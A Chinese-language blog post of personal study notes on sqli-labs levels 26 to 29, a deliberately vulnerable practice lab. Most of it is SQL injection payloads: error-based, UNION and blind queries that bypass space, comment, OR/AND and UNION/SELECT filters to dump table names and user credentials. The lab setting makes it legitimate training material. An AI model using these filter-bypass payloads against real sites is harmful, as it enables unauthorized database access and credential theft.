sql-labs闯关26~31:
友善爱国平等诚信民主富强爱国友善自由友善爱国平等诚信民主爱国爱国爱国
复习笔记1
第29~31关先跳过,回头再做
内容:
- sql-labs第26关(GET请求-基于错误-过滤空格和注释)
- sql-labs第26a关(GET请求-基于盲注-过滤空格和注释-字符型-单引号-括号)
- sql-labs第27关(GET请求-基于错误-过滤UNION&SELECT-字符型-单引号)
- sql-labs第27a关(GET请求-基于盲注-过滤UNION&SELECT-双引号)
- sql-labs第28关(GET请求-基于错误-过滤UNION&SELECT-字符型-单引号和括号)
- sql-labs第28a关(GET请求-基于盲注-过滤UNION&SELECT-单引号-括号)
- sql-labs第29关(GET请求-基于错误-IMPIDENCE MISMATCH-Having a WAF in front of web application)
- sql-labs第30关(GET请求-盲注-IMPIDENCE MISMATCH-Having a WAF in front of web application)
- sql-labs第31关(GET请求-盲注-IMPIDENCE MISMATCH-Having a WAF in front of web application)
1.sql-labs第26关

从欢迎界面可以知道,这关把空格和注释给过滤了,先输入?id=1


输入?id=1 and 1=2看到的账号是admin3,再输入?id=1 and 1=1,很好,也是一样的,不是数值型

用单引号判断法,输入?id=1'出现了报错信息,大致可以确定闭合点是’

不过这关把注释符过滤了,所以不能用常规的注释符绕过了。第一个反应是前面刚学到的特殊注释符;%00,输入?id=1';%00,看样子是成功绕过

输入?id=1' order by 3 ;%00判断列数,从页面报错信息来看过滤了or,那目前为止,知道了这关过滤了注释符、空格、or,所以在构造payload的时候,最好避免出现这些。or的话可以用双写来绕过,但是又过滤了空格,语句都挤在一起,根本没用,理论上讲用&&和||来替代and和or,而&&在url中具有特殊含义,需要先进行url编码成%26%26,就差个空格不知道怎么绕过。

首先,找了一些空格绕过技巧,大多都是用特殊字符来代替空格,看到这是不是以为这就结束了,你太天真了,我把所有绕过方法都尝试了一遍后,都没有成功绕过,又去看了源代码,这关过滤的属实多。不过我个人不知道是什么原因,但是有很多篇文章都提到是因为Apache 解析的问题Windows 无法使用,而Linux 下无这个问题。这属实难到我了,于是我又找了通关秘籍,跟着大佬的脚步,外挂冲关。我找到了面对空格过滤用报错注入来绕过的方法,避免了sql查询语句挤在一起的情况,接下来的流程我就很熟练了
SQL注入绕过技巧
SQL注入绕过技巧
sqli-labs26-32
sqli-labs通关笔记(1-30)
sqli-labs(26-28a)
?id=1' %26%26 extractvalue(1,concat(0x7e,database(),0x7e));%00

爆库
?id=1' %26%26 extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security') ,0x7e));%00
本来以为可以成功爆表,然而,我低估了过滤空格的影响,这堆又挤在一起了,只能用括号绕过

括号用在连续点,就成功了。有一说一,括号太多,我有点晕
?id=1' %26%26 extractvalue(1,concat(0x7e,(select(group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security')),0x7e));%00

爆表
?id=1' %26%26 extractvalue(1,concat(0x7e,(select(group_concat(column_name)) from (infoorrmation_schema.columns) where (table_schema='security') aandnd (table_name='users')),0x7e));%00

爆字段
?id=1' %26%26 extractvalue(1,concat(0x7e,(select (group_concat(username)) from (users)),0x7e));%00

爆数据
2.sql-labs第26a关

欢迎界面没改变,那过滤条件不变,输入?id=1正常显示

再输入?id=1',页面改变,但是没出现报错信息,这关不能再用报错注入了,再加上那些代替字符不能使用,所以只能用盲注了

再输入?id=1",页面又正常显示

输入?id=2' %26%26 '1'='1,查询1,就说明没有成功闭合
目前为止,不确定闭合点到底是社么,但肯定是有’,按照前面的闭合点经验,不外乎有以下两种种情况’)、')),实在不行再多搭配组合一下

输入?id=2') %26%26 '1'=('1,疑似闭合成功

输入?id=2查看值,验证闭合是否成功,确定闭合成功,然后开始盲注了,只写个样式,具体的去看前情回顾第八关

输入?id=2') %26%26 length(database())>5 %26%26 '1'=('1判断数据库长度

输入?id=2') %26%26 substr(database(),1,1)>'m' %26%26 '1'=('1判断数据库第一个字母
?id=2') %26%26 (select(count(table_name)) from (infoorrmation_schema.tables) where (table_schema='security'))>5 %26%26 '1'=('1

判断数据表张数
?id=2') %26%26 substr((select(table_name) from (infoorrmation_schema.tables) where (table_schema='security')(limit 0,1)),1,1)>'m' %26%26 '1'=('1

本来打算按照老方法用limit来提出第一张表再判断第一张数据表长度,结果又因为空格被过滤,语句挤在一起了,结果整的语句错误
?id=2') %26%26 substr((select(group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security')),1,1)>'m' %26%26 '1'=('1

那我只能把所有表都组合起来,一个字母一个字母慢慢试,再加上前面判断出数据表的张数,慢慢组合,总能试出正确表名
?id=2') %26%26 (select(count(column_name)) from (infoorrmation_schema.columns) where (table_schema='security') aandnd (table_name='users'))>5 %26%26 '1'=('1

判断字段个数
?id=2') %26%26 substr((select(group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security') aandnd (table_name='users')),1,1)>'m' %26%26 '1'=('1

判断字段的第一个字母
?id=2') %26%26 (select(count(username)) from (users))>5 %26%26 '1'=('1

判断数据有几条记录
?id=2') %26%26 substr((select(group_concat(username)) from (users)),1,1)>'m' %26%26 '1'=('1

判断数据的第一个字母
3.sql-labs第27关

从欢迎界面可以知道,这关把union和select给过滤了,先输入?id=1

再输入?id=1 and 1=2,判断类型,不是数值型

输入?id=1',有报错信息,大致确定闭合点是’,而且这也意味着我可以用报错注入来闯关,这样就可以绕过select和union的输入

输入?id=1' --+,没有成功闭合,那说明这关把注释也给过滤了

输入?id=1' ;%00,用特殊注释符绕过
?id=1' and extractvalue(1,concat(0x7e,database(),0x7e));%00

还过滤了空格,那就用符号来代替and

看看源代码,大小写都考虑到了,很贴心,不过感谢倒数两行,让我有了不一样的想法,我把其他字母改成大写,试试
union注入

抱着试试看的态度输入?id=1' %0aorder%0aby%0a3;%00,查询列数,没想到这关居然可以用%0a绕过空格过滤,%0b 也可以,其他的不行~

输入?id=0' %0a unioN %0a selecT %0a 1,2,3;%00,查看回显位。值得注意的是,输入id=-1会显示id=1的结果,猜测是因为把-当作注释过滤了

输入?id=0' %0a unioN %0a selecT %0a 1,database(),version();%00爆库
?id=0' %0a unioN %0a selecT %0a 1,2,(group_concat(table_name)) from (information_schema.tables) where (table_schema=database());%00

爆表
?id=0' %0a unioN %0a selecT %0a 1,2,(group_concat(column_name)) from (information_schema.columns) where (table_schema=database()) and (table_name='users') ;%00

爆字段
?id=0' %0a unioN %0a selecT %0a 1,(group_concat(username)),(group_concat(password)) from (users);%00

爆数据
报错注入
?id=1' %26%26 extractvalue(1,concat(0x7e,database(),0x7e));%00

爆库
?id=1' %26%26 extractvalue(1,concat(0x7e,(selecT (group_concat(table_name)) from (information_schema.tables) where (table_schema=database())),0x7e));%00

爆表
?id=1' %26%26 extractvalue(1,concat(0x7e,(selecT (group_concat(column_name)) from (information_schema.columns) where (table_schema=database()) and (table_name='users')),0x7e));%00

爆字段
?id=1' %26%26 extractvalue(1,concat(0x7e,(selecT (group_concat(username)) from (users)),0x7e));%00

爆数据
4.sql-labs第27a关

欢迎界面没啥变化,先输入?id=1

再输入?id=1 and 1=2,页面没变化,不是数值型

输入?id=1',页面没变化,闭合点不是’

再输入?id=1",页面发生改变,闭合点可能是",而且这关又不能用快乐的报错注入

输入?id=2" and "1"="1,判断双引号是否是闭合点,最终确定闭合点是"
union注入(步骤跟27差不多)

输入?id=0" %0a unioN %0a selecT %0a 1,2,3;%00,看看能不能用union注入,很好,可以!!!

输入?id=0" %0a unioN %0a selecT %0a 1,database(),version();%00爆库
?id=0" %0a unioN %0a selecT %0a 1,2,(group_concat(table_name)) from (information_schema.tables) where (table_schema=database());%00

爆表
%0a unioN %0a selecT %0a 1,2,(group_concat(column_name)) from (information_schema.columns) where (table_schema=database()) and (table_name='users') ;%00

爆字段
?id=0" %0a unioN %0a selecT %0a 1,(group_concat(username)),(group_concat(password)) from (users);%00

爆数据
盲注(步骤跟26a差不多)

输入?id=2" %26%26 length(database())>5;%00判断库长度

输入?id=2" %26%26 substr(database(),1,1)>'m';%00判断数据库第一个字母
?id=2" %26%26 (selecT(count(table_name)) from (information_schema.tables) where (table_schema=database()))>5 ;%00

判断数据表张数
?id=2" %26%26 substr((selecT(group_concat(table_name)) from (information_schema.tables) where (table_schema='security')),1,1)>'m' ;%00

判断表的第一个字母
?id=2" %26%26 (selecT(count(column_name)) from (information_schema.columns) where (table_schema='security') and (table_name='users'))=3 ;%00

判断字段的个数
?id=2" %26%26 substr((selecT(group_concat(table_name)) from (information_schema.tables) where (table_schema='security') and (table_name='users')),1,1)>'m' ;%00

判断字段的第一个字母
?id=2" %26%26 (selecT(count(username)) from (users))>5 ;%00

判断数据有几条记录
?id=2" %26%26 substr((selecT(group_concat(username)) from (users)),1,1)>'m' ;%00

判断数据的第一个字母
5.sql-labs第28关

从欢迎界面可以知道,这关把union和select给过滤了,先输入?id=1

再输入?id=1 and 1=2,判断类型,不是数值型

输入?id=1',页面改变,无报错信息,又要开始猜闭合点了

输入?id=1';%00,没闭合,页面显示错误

输入?id=1');%00,闭合。那么闭合点就是’),而且不能再用报错注入了

输入?id=1')%0a unioN %0a selecT %0a 1,2,3;%00,发现被过滤成这样,你赢了

再输入?id=1')%0b unioN %0b selecT %0b 1,2,3;%00,不忍直视

那就查看源码,问题应该出现在最后一行的过滤上,不过俺也不怎么懂


大概意思就是:union和select一起用的时候,会被过滤,那我要是双写,再在外面输入一层union和select,那么中间会被置换成空格,那外面那层可能会绕过
详细具体的说明请点击Sqli-labs - Less-28

输入?id=0') %0a unioN union%0a select %0a selecT %0a1,2,3;%00,查看回显位

输入?id=0')union(select%0d1,2,'3,查看回显位。我第一次见这个注释方式,剩下的步骤,请访问文章(手工)【sqli-labs28、28a】字符型注入、盲注、过滤

输入?id=0') %0a unioN union%0a select %0a selecT %0a 1,database(),version();%00,爆库
?id=0') %0a unioN union%0a select %0a selecT %0a 1,2,(group_concat(table_name)) from (information_schema.tables) where (table_schema=database());%00

爆表
?id=0') %0a unioN union%0a select %0a selecT %0a 1,2,(group_concat(column_name)) from (information_schema.columns) where (table_schema=database()) and (table_name='users') ;%00

爆字段
?id=0') %0a unioN union%0a select %0a selecT %0a 1,(group_concat(username)),(group_concat(password)) from (users);%00

爆数据
6.sql-labs第28a关

换关卡的时候,顺手点了运行,这个反馈界面出乎意料,暂且放这

输入?id=1

输入?id=1 and 1=2

输入?id=1'

再输入?id=1';%00

再输入?id=1');%00,成功闭合。确定闭合点是’)
union(跟28关一样的操作)

从刚开始的换关结果显示,就说明union似乎可以使用,输入?id=0') %0a unioN union%0a select %0a selecT %0a1,2,3;%00,尝试查看回显位

输入?id=0') %0a unioN union%0a select %0a selecT %0a 1,database(),version();%00爆库
自己翻28关,payload都不需要改,我懒的输入截图描述了,累了
盲注(步骤跟27a差不多)

输入?id=2') %26%26 length(database())>5;%00,判断库长度

输入?id=2') %26%26 substr(database(),1,1)>'m';%00判断数据库第一个字母
?id=2') %26%26 (selecT(count(table_name)) from (information_schema.tables) where (table_schema=database()))>5 ;%00

输入判断数据表张数是否>5张
?id=2') %26%26 substr((selecT(group_concat(table_name)) from (information_schema.tables) where (table_schema='security')),1,1)>'m' ;%00

判断表的第一个字母是否>‘m’
?id=2') %26%26 (select(count(column_name)) from (information_schema.columns) where (table_schema='security') and (table_name='users'))=3 ;%00

判断字段的个数
?id=2') %26%26 substr((selecT(group_concat(table_name)) from (information_schema.tables) where (table_schema='security') and (table_name='users')),1,1)='u' ;%00

判断字段的第一个字母是否=‘u’
?id=2') %26%26 (select(count(username)) from (users))>5 ;%00

判断数据记录数是否>5
?id=2') %26%26 substr((selecT(group_concat(username)) from (users)),1,1)>'m' ;%00

判断数据的第一个字母是否>‘m’
7.sql-labs第29关
这关的欢迎词又变了,This Site Protected by world’s Best firewall (该网站由世界上最好的防火墙保护)。对于这关要测试什么,摸不着头脑,先按照老样子注入试试,有问题再百度

输入?id=1 and 1=2

输入?id=1',看到了久违的报错信息,那试试报错注入
?id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+

成功爆库,我开始迷茫,这关到底考干啥,也许是接下来的步骤被过滤了
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

成功爆表
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))--+

成功爆字段
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))--+

成功爆数据,虽然成功了,但是俺不理解。我去翻翻百度,这是我第一次做出来还要去找百度

要是想要学习详细操作,请点击第三个链接,我回头再尝试